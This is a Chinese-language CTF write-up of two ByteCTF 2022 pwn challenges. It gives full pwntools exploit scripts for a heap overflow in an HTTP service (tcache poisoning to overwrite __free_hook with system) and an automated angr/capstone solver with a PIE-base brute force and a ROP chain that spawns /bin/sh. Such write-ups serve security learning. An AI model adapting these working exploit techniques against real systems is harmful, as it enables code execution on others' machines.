ByteCTF2022 Pwn
前言
质量很高的比赛,当时就做了下面两道有解的题。
还有个一解的winpwn
考的是Segment Heap
的LFH
机制,之前偷懒只看了VS
分配机制,然后比赛的时候摆烂,不想看论文了,后面补。
mini_http2
一个httpd
,发送数据是JSON
的形式,edit
中有溢出的漏洞,exit
之前会手动调用__free_hook
,改一改堆块的size
,造成堆叠即可。其中数据解析的操作中,也会申请一些堆块,可能会造成冲突,因此需要设计一下堆风水。还有很多小细节不太记得了,就不说了。
from pwn import *
io = remote('a30efa973ee07164e696881ec72269b4' + '.2022.capturetheflag.fun', 1337, ssl=True)
#io = process("./pwn")
elf = ELF("./pwn")
libc = ELF("./libc.so.6")
context.log_level = "debug"
context.arch = "amd64"
def getin(size, choice, cus):
payload = p16(size) + p8(0)
payload += p8(choice)
payload += p8(cus)
payload += p8(11) + p8(12) + p8(13) + p8(14)
io.send(payload)
def getin_heap(size1, size2, size3, choice, cus):
payload = p8(size1) + p8(size2) + p8(size3)
payload += p8(choice)
payload += p8(cus)
payload += p8(11) + p8(12) + p8(13) + p8(14)
io.send(payload)
def read_content(chunk_size, choice, size1, size2, size3, size4, content):
payload = p8(choice)
payload += p8(0x86)
payload += b"D"
payload += p8(size1)
payload += p8(size2)
payload += p8(size3)
payload += p8(size4)
payload += (content)
return payload
def login(payload):
io.send(payload)
def register(payload):
io.send(payload)
getin(0x300, 0x1, 0x5)
payload1 = read_content(0x310, 0x82, 0x0, 0x0, 0x2, 0x0, b"/register?")
payload2 = payload1 + b"username=" + b"root" + b"&" + b"password=" + b"root" + b"&"
payload2 = payload2.ljust(0x300, b"\x00")
register(payload2)
getin(0x300, 0x1, 0x5)
payload3 = read_content(0x310, 0x82, 0x0, 0x0, 0x2, 0x0, b"/login?")
payload4 = payload3 + b"username=" + b"root" + b"&" + b"password=" + b"root" + b"&"
payload4 = payload4.ljust(0x300, b"\x00")
login(payload4)
io.recvuntil("'gift': ")
io.recvuntil('"')
libc_base = int(io.recv(14), 16) - 0xc4200
success(hex(libc_base))
io.recvuntil('"}')
###########################################################################
getin(0x300, 0x1, 0x5)
payload5 = read_content(0x310, 0x83, 0x0, 0x0, 0x2, 0x0, b"/api/add_worker")
payload5 = payload5.ljust(0x300,b"\x00")
login(payload5)
getin(0x300, 0x0, 0x5)
payload6 = b' \
{\
"name": "aaaa", \
"desc": "aaaa"\
}\
'
payload6 = payload6.ljust(0x300, b"\x00")
io.send(payload6)
io.recvuntil('"desc_addr": ')
io.recvuntil('"')
heap_base = int(io.recv(14), 16) - 0x1340
success("heap_base is leaked ==> " + hex(heap_base))
io.recvuntil('"}')
#######################################################################################
getin(0x300, 0x1, 0x5)
payload5 = read_content(0x310, 0x83, 0x0, 0x0, 0x2, 0x0, b"/api/add_worker")
payload5 = payload5.ljust(0x300,b"\x00")
login(payload5)
getin(0x300, 0x0, 0x5)
#getin_heap = (0x0, 0x3, 0x0, 0x0, 0x5)
payload6 = b' \
{\
"name": "bbbb", \
"desc": "cccc"\
}\
'
payload6 = payload6.ljust(0x300, b"\x00")
io.send(payload6)
#######################################################################################
getin(0x300, 0x1, 0x5)
payload7 = read_content(0x310, 0x83, 0x0, 0x0, 0x2, 0x0, b"/api/edit_worker")
payload7 = payload7.ljust(0x300, b"\x00")
login(payload7)
getin(0x300, 0x0, 0x5)
payload8 = b' \
{\
"name": "aaaaaaaaaaaaaaaaaaaaaaaa\x41", \
"desc": "dddddddddddddddddddddddd\x31", \
"worker_idx": 0\
}\
'
payload8 = payload8.ljust(0x300, b"\x00")
io.send(payload8)
####################################################################
getin(0x300, 0x1, 0x5)
payload5 = read_content(0x310, 0x83, 0x0, 0x0, 0x2, 0x0, b"/api/del_worker")
payload5 = payload5.ljust(0x300,b"\x00")
login(payload5)
getin(0x300, 0x0, 0x5)
payload6 = b' \
{\
"worker_idx": 0\
}\
'
payload6 = payload6.ljust(0x300, b"\x00")
io.send(payload6)
#####################################################################
getin(0x300, 0x1, 0x5)
payload5 = read_content(0x310, 0x83, 0x0, 0x0, 0x2, 0x0, b"/api/add_worker")
payload5 = payload5.ljust(0x300,b"\x00")
login(payload5)
getin(0x300, 0x0, 0x5)
payload6 = b' \
{\
"name": "aaaa", \
"desc": "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"\
}\
'
payload6 = payload6.ljust(0x300, b"\x00")
io.send(payload6)
#####################################################################
getin(0x300, 0x1, 0x5)
payload7 = read_content(0x310, 0x83, 0x0, 0x0, 0x2, 0x0, b"/api/edit_worker")
payload7 = payload7.ljust(0x300, b"\x00")
login(payload7)
getin(0x300, 0x0, 0x5)
data = b"a"*0x27
payload8 = b' \
{\
"name": "aaaa", \
"desc": "' + data + b'", \
"worker_idx": 0\
}\
'
payload8 = payload8.ljust(0x300, b"\x00")
io.send(payload8)
#####################################################################
getin(0x300, 0x1, 0x5)
payload7 = read_content(0x310, 0x83, 0x0, 0x0, 0x2, 0x0, b"/api/edit_worker")
payload7 = payload7.ljust(0x300, b"\x00")
login(payload7)
getin(0x300, 0x0, 0x5)
addr = libc_base + libc.symbols["__free_hook"] - 8
fd = addr ^ ((heap_base + 0x1000) >> 12)
success("fd:\t" + hex(fd))
data = b"a"*0x20 + p64(fd)[:-2]
payload8 = b' \
{\
"name": "aaaa", \
"desc": "' + data + b'", \
"worker_idx": 0\
}\
'
payload8 = payload8.ljust(0x300, b"\x00")
io.send(payload8)
#####################################################################
getin(0x300, 0x1, 0x5)
payload5 = read_content(0x310, 0x83, 0x0, 0x0, 0x2, 0x0, b"/api/add_worker")
payload5 = payload5.ljust(0x300,b"\x00")
login(payload5)
getin(0x300, 0x0, 0x5)
payload6 = b' \
{\
"name": "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", \
"desc": "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"\
}\
'
payload6 = payload6.ljust(0x300, b"\x00")
io.send(payload6)
#####################################################################
getin(0x300, 0x1, 0x5)
payload7 = read_content(0x310, 0x83, 0x0, 0x0, 0x2, 0x0, b"/api/edit_worker")
payload7 = payload7.ljust(0x300, b"\x00")
login(payload7)
getin(0x300, 0x0, 0x5)
data = b"a"*0xf
payload8 = b' \
{\
"name": "aaaa", \
"desc": "' + data + b'", \
"worker_idx": 2\
}\
'
payload8 = payload8.ljust(0x300, b"\x00")
io.send(payload8)
#####################################################################
getin(0x300, 0x1, 0x5)
payload7 = read_content(0x310, 0x83, 0x0, 0x0, 0x2, 0x0, b"/api/edit_worker")
payload7 = payload7.ljust(0x300, b"\x00")
login(payload7)
getin(0x300, 0x0, 0x5)
sys_addr = libc_base + libc.symbols["system"]
data = b"a"*8 + p64(sys_addr)[:-2]
payload8 = b' \
{\
"name": "aaaa", \
"desc": "' + data + b'", \
"worker_idx": 2\
}\
'
payload8 = payload8.ljust(0x300, b"\x00")
io.send(payload8)
#####################################################################
getin(0x300, 0x1, 0x5)
payload1 = read_content(0x310, 0x82, 0x0, 0x0, 0x2, 0x0, b"/register?")
payload2 = payload1 + b"username=" + b"/bin/sh" + b"&" + b"password=" + b"/bin/sh" + b"&"
payload2 = payload2.ljust(0x300, b"\x00")
register(payload2)
getin(0x300, 0x1, 0x5)
io.send(read_content(0x310, 0x82, 0x0, 0x0, 0x2, 0x0, b"/exit").ljust(0x300, b"\x00"))
io.interactive()
ComeAndPlay
将交互所给的base64
解码成ELF
文件,发现给了大约70
次mmap
的操作,size
和len
可控。可以通过mmap
回显成功或失败,判断此处是否是ELF
的地址,高位只有0x55
和0x56
两种可能,后面暴力循环肯定是不行的,可以采取“二分法”的操作,log
级的,很快就能爆破出ELF
的基地址,也就能绕过之后的操作了。
在正式进入Pwn
题之前,有一个算式的求解,而且每次交互这个算式都不相同,还可以发现每次交互得到的题目中栈的大小以及程序的地址都不固定。时间限制又只有几秒钟,可见这是道auto pwn
,故用capstone
拿到程序中的一些地址,并通过angr
与服务器交互求解即可。
from pwn import *
import os
import angr
import claripy
import sys
from capstone import *
context(os = "linux", arch = "amd64", log_level = "debug")
#io = process(["./pwn", "1914086912"])
io = remote("a0f67a64118340b6ef00033faa0f0ec7.2022.capturetheflag.fun", 1337, ssl=True)
libc = ELF("./libc.so")
#elf = ELF("./pwn")
def get_result(elf_path):
file = elf_path
CODE = open(file, "rb").read()[0x134e:0x134e + 0x200]
md = Cs(CS_ARCH_X86, CS_MODE_64)
cnt = 0
global bad_addr
for i in md.disasm(CODE, 0x40134e):
if i.mnemonic == "jne":
cnt += 1
if cnt == 3:
good_addr = i.address + 6
bad_addr = int(i.op_str,16)
print("good_addr : 0x%08x" % good_addr)
print("bad_addr : 0x%08x" % bad_addr)
def get_answer(path_to_binary):
project = angr.Project(path_to_binary)
start_address = 0x401381
initial_state = project.factory.blank_state(addr=start_address, add_options={angr.options.LAZY_SOLVES})
global offset
initial_state.regs.rbp = initial_state.regs.rsp
hex_pattern = re.compile('0x[0-9a-fA-F]*')
ins_str = str(project.factory.block(0x401381, size=6).capstone.insns[0])
offset = int(hex_pattern.findall(ins_str)[1], 16)
password0 = claripy.BVS('password0', 64)
padding_length_in_bytes = offset - 8
initial_state.regs.rsp -= padding_length_in_bytes
initial_state.stack_push(password0)
simulation = project.factory.simgr(initial_state)
def is_successful(state):
stdout_output = state.posix.dumps(sys.stdout.fileno())
print(stdout_output)
if b'Now you can choose how to play' in stdout_output:
return True
else: return False
simulation.explore(find=is_successful)
if simulation.found:
solution_state = simulation.found[0]
solution0 = (solution_state.solver.eval(password0))
return solution0
else:
raise Exception('Could not find the solution')
def choice(idx) :
io.sendlineafter("> ", str(idx))
def mmap(addr, length) :
io.sendafter("Russian Roulette!\n", p64(addr) + p64(length))
def send(payload) :
io.sendafter("What? Stud?\n", payload)
def check(addr, length) :
choice(1)
mmap(addr, length)
res = io.recvuntil("!\n")
if (b"Lucky" in res) :
return 1
return 0
io.recvuntil("\n\n\n")
b64 = io.recvuntil("\n").strip().decode()
os.system("echo " + b64 + " > ./b64")
os.system("base64 -d ./b64 > ./decode_elf")
elf = ELF("./decode_elf")
get_result('./decode_elf')
ans = get_answer('./decode_elf')
success(str(ans))
io.sendlineafter("Please input the answer:\n", str(ans))
hg = [0x55, 0x56]
pie_base = 0
for i in hg :
pie_base = i << 40
for j in range(9, 2, -1) :
left = 0
right = 0xf
last = 0x10
ans = 0
while left <= right:
mid = (left + right) >> 1
test_addr = pie_base|(mid<<(4*j))
if check(test_addr, (last-mid)<<(4*j)) :
last = mid
right = mid - 1
else :
ans = mid
left = mid + 1
pie_base = pie_base|(ans<<(4*j))
if ((pie_base >> 16) & 0xfffff != 0xfffff) :
break
pie_base = pie_base - 0x3000
success("pie_base:\t" + hex(pie_base))
pop_rdi_ret = pie_base + (bad_addr & 0xffff) + 0xC9
puts_plt = pie_base + elf.plt['puts']
puts_got = pie_base + elf.got['puts']
read_buf_addr = pie_base + (bad_addr & 0xffff) - 0x89
fff = (int)(offset / 8) - 2
payload = p64(0)*fff + p64(pie_base + 0x1269) + p64(0) + p64(pie_base + 0x3800)
payload += p64(pop_rdi_ret) + p64(puts_got) + p64(puts_plt) + p64(read_buf_addr)
choice(2)
send(payload)
io.recvuntil("OK, Thank You~\n")
libc_base = u64(io.recv(6).ljust(8, b"\x00")) - libc.sym['puts']
success("libc_base:\t" + hex(libc_base))
pop_rsi_ret = libc_base + 0x2601f
pop_rdx_ret = libc_base + 0x142c92
bin_sh_addr = libc_base + next(libc.search(b"/bin/sh"))
execve_addr = libc_base + libc.sym['execve']
payload = p64(0)*fff + p64(pie_base + 0x1269) + p64(0)*2
payload += p64(pop_rdi_ret) + p64(bin_sh_addr) + p64(pop_rsi_ret) + p64(0) + p64(pop_rdx_ret) + p64(0) + p64(execve_addr)
send(payload)
io.sendline("cat /flag")
io.interactive()